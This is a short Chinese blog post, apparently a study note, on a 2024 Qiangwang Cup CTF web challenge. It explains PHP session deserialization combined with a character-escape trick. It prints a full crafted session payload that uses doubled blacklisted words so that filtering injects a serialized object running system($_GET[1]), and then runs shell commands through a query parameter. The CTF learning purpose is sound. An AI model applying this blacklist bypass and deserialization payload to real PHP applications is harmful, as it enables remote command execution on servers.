2024-强网杯web-platfrom

platfrom

大佬wp

https://blog.xmcve.com/2024/11/04/%E5%BC%BA%E7%BD%91%E6%9D%AF2024-Writeup/#title-8

https://blog.yemaster.cn/post/123#go-ax-header-4

这题的考点是session反序列化以及字符逃逸

session反序列化学习

https://arsenetang.github.io/2021/08/31/反序列化篇之session反序列化/

session反序列化首先需要有session_id的控制权,就是能修改该值,

而后存在反序列化漏洞,也就是可以用链子执行危险函数,或者说打印flag,

然后触发服务端session的读取,就是有session所在的页面,读取到我们存入的pop链,其会自动进行反序列化,然后就会触发我们的链子,链子这里就不构造了


接着是字符逃逸,借用大佬的笔记

在session_id的文件中我们的链子大概是这样

user|s:56:"我们输入的用户名";session_key|s:20:"随机生成的key";password|s:98:"这里是我们输入的密码";

我们希望session读取的是

user|s:56:"随便";session_key|s:20:"随机生成的key";password|s:98:"我们的链子";

那怎么实现呢,需要注意的是,源代码这里有黑名单会将危险函数替换成空,其中就有eval,system

大佬的链子

user|s:56:"execevalexecevalexecevalexecevalexecexecexecevalexeceval";session_key|s:20:"12345678901234567890";password|s:98:";session_key|O:15:"notouchitsclass":1:{s:4:"data";s:17:"syssystemtem($_GET[1]);";}password|s:1:"a";

其中user的那一串 'execevalexecevalexecevalexecevalexecexecexecevalexeceval' 由黑名单函数组成的字符会被替换为空,而该字符的长度也不是随便的,而是精心计算的,替换为空后,56的字符长度依旧执行吞掉后面的56个字符,

";session_key|s:20:"12345678901234567890";password|s:98:

这里就成了无效的字符

替换后变成

user|s:56:"";session_key|s:20:"12345678901234567890";password|s:98:";session_key|O:15:"notouchitsclass":1:{s:4:"data";s:17:"system($_GET[1]);";}password|s:1:"a";

注意: 这里的双写是绕过黑名单,被黑名单置换为空后就是正常的格式

然后在维持该session的页面传参1=ls就行了
💗

posted @ 2025-10-12 15:21  z3xc  阅读(16)  评论(0)    收藏  举报